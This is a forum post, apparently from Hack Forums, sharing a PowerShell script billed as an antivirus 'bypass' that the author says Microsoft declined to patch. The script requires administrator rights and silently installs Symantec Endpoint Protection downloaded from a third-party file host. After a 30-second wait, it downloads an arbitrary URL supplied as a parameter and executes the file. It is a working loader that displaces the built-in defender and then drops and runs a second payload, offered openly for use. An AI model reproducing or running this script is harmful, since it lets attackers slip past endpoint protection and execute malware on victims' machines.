Quote:# TheCowardlyDog-Bypass.ps1
# Run as Administrator

# Made by TheCowardlyDog (HF /member.php?action=profile&uid=5750403)

# Microsoft won't patch this, I tried submitting it to them, they said it wasn't a vulnerability, well, here you go HF.

# This works with any anti-virus that has silent/quiet and doesn't show itself (Symantec is best).

param(
    [string]$ZipUrl = "https://is5.arfiles.net/Symantec%20Endpoint%20Protection%2014.3.11213.9000%20(x64).zip",
    [string]$ZipPath = "$env:TEMP\Symantec.zip",
    [string]$ExtractPath = "$env:TEMP\SymantecFolder",
    [string]$LogPath = "$env:TEMP\symantec-install.log",
    [Parameter(Mandatory=$false)]
    [string]$Url
)

$ErrorActionPreference = "Stop"

function Assert-Admin {
    $id = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($id)
    if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        throw "Run this script as Administrator."
    }
}

function Download-File {
    param($Url, $OutFile)
    Write-Host "Downloading from $Url ..." -ForegroundColor Cyan
    Invoke-WebRequest -Uri $Url -OutFile $OutFile -UseBasicParsing -TimeoutSec 600
    if (-not (Test-Path $OutFile)) { throw "Download failed." }
}

try {
    Assert-Admin

    if (Test-Path $ExtractPath) { Remove-Item $ExtractPath -Recurse -Force -ErrorAction SilentlyContinue }
   
    Download-File -Url $ZipUrl -OutFile $ZipPath

    Write-Host "Extracting ZIP file..." -ForegroundColor Cyan
    Expand-Archive -Path $ZipPath -DestinationPath $ExtractPath -Force

    $msiPath = Get-ChildItem -Path $ExtractPath -Filter "Sep64.msi" -Recurse | Select-Object -ExpandProperty FullName -First 1

    if (-not $msiPath) {
        throw "Could not find Sep64.msi inside the extracted folder."
    }

    Write-Host "Verifying digital signature of MSI..."
    $sig = Get-AuthenticodeSignature -FilePath $msiPath
    if ($sig.Status -ne "Valid" -or $sig.SignerCertificate.Subject -notmatch "Broadcom|Symantec") {
        throw "Security Warning: The installer is not officially signed by Symantec/Broadcom. Aborting."
    }

    Write-Host "Starting silent MSI install..." -ForegroundColor Cyan
    $installProcess = Start-Process "msiexec.exe" `
        -ArgumentList "/i `"$msiPath`" /qn /norestart /L*V `"$LogPath`"" `
        -Wait `
        -PassThru

    Write-Host "Symantec installation finished with Exit Code: $($installProcess.ExitCode)"

    if (-not [string]::IsNullOrWhiteSpace($Url)) {
        Write-Host "Waiting 30 seconds before second download..." -ForegroundColor Yellow
        Start-Sleep -Seconds 30

        $fileName = Split-Path $Url -Leaf
        if (-not $fileName) { $fileName = "second_file.exe" }
        $outputPath = Join-Path -Path $env:TEMP -ChildPath $fileName

        Download-File -Url $Url -OutFile $outputPath
        Write-Host "Executing: $outputPath" -ForegroundColor Green
        Start-Process $outputPath
    }

} catch {
    Write-Error "An error occurred: $($_.Exception.Message)"
    exit 1
} finally {
    if (Test-Path $ZipPath) { Remove-Item $ZipPath -Force -ErrorAction SilentlyContinue }
}